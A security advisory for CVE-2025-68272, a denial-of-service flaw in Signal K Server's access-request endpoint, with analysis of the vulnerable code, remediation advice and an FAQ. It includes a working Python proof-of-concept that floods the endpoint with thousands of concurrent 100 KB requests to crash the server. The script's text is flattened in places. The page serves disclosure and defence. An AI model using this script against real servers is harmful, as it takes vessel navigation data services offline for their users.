CVE-2025-68272: Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding
Summary A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.
Details The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.
Vulnerable Code Analysis: 1. In-Memory Storage: In src/requestResponse.js, requests are stored in a simple JavaScript object: javascript const requests = {} 2. Unbounded Growth: The createRequest function adds new requests to this object without checking the current size or count of existing requests. 3. Infrequent Pruning: The pruneRequests function, which removes old requests, runs only once every 15 minutes (pruneIntervalRate). 4. No Rate Limiting: The endpoint /signalk/v1/access/requests accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).
Exploit Scenario: 1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to /signalk/v1/access/requests. 2. The server stores every request in the requests object in the Node.js heap. 3. The heap memory usage spikes rapidly. 4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.
PoC The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.
python import urllib.request import json import threading import time
Target Configuration TARGETURL = "http://localhost:3000/signalk/v1/access/requests" PAYLOADSIZEMB = 0.1 # 100 KB per request NUMREQUESTS = 20000 # Sufficient to exhaust heap CONCURRENCY = 50
Generate a large string payload LARGESTRING = "A" (int(PAYLOADSIZEMB 1024 1024))
def sendheavyrequest(i): try: payload = { "clientId": f"attacker-device-{i}", "description": LARGESTRING, # Stored in memory! "permissions": "readwrite" } data = json.dumps(payload).encode('utf-8') req = urllib.request.Request( TARGETURL, data=data, headers={'Content-Type': 'application/json'}, method='POST' ) # Short timeout as server might hang urllib.request.urlopen(req, timeout=5) except: pass
def attack(): print(f"[] Starting DoS Attack on {TARGETURL}...") threads = [] for i in range(NUMREQUESTS): t = threading.Thread(target=sendheavyrequest, args=(i,)) threads.append(t) t.start() if len(threads) >= CONCURRENCY: for t in threads: t.join() threads = []
if name == "main": attack()
Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.
Impact Verified Denial of Service: During our verification using the provided PoC, we observed the following: 1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack. 2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash. 3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.
--- Remediation 1. Implement Rate Limiting Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.
2. Limit Request Storage Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.
3. Validate Payload Size Enforce strict limits on the size of the description and other fields in the access request payload.
Other sources
Signal K Server is a server application that runs on a central hub in a boat. A Denial of Service (DoS) vulnerability in versions prior to 2.19.0 allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects. Version 2.19.0 fixes the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/signalk-serverto a version that resolves this vulnerability.Fixed in 2.19.0 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.19.0 - Configuration
Modify src/requestResponse.js to enforce a maximum of 100 stored access requests; reject new requests or evict the oldest requests immediately when the limit is reached.
SignalK Server access request handling maximum stored requests = 100 - Configuration
Use middleware such as express-rate-limit to restrict requests from a single IP address to /signalk/v1/access/requests.
SignalK Server endpoint /signalk/v1/access/requests rate limiting = enabled - Configuration
Enforce strict limits on the size of the description and other fields in access request payloads, rejecting requests that exceed those limits.
SignalK Server access request payload description and other field size limits = strict maximum sizes
Event History
Frequently Asked Questions
What is the severity of CVE-2025-68272?
CVE-2025-68272 has a high severity as it allows unauthenticated attackers to cause a Denial of Service on the Signal K Server.
How do I fix CVE-2025-68272?
To fix CVE-2025-68272, upgrade the Signal K Server to version 2.19.0 or later.
What versions are affected by CVE-2025-68272?
CVE-2025-68272 affects all versions of Signal K Server prior to 2.19.0.
What type of vulnerability is CVE-2025-68272?
CVE-2025-68272 is a Denial of Service (DoS) vulnerability.
Can CVE-2025-68272 be exploited remotely?
Yes, CVE-2025-68272 can be exploited remotely by an unauthenticated attacker.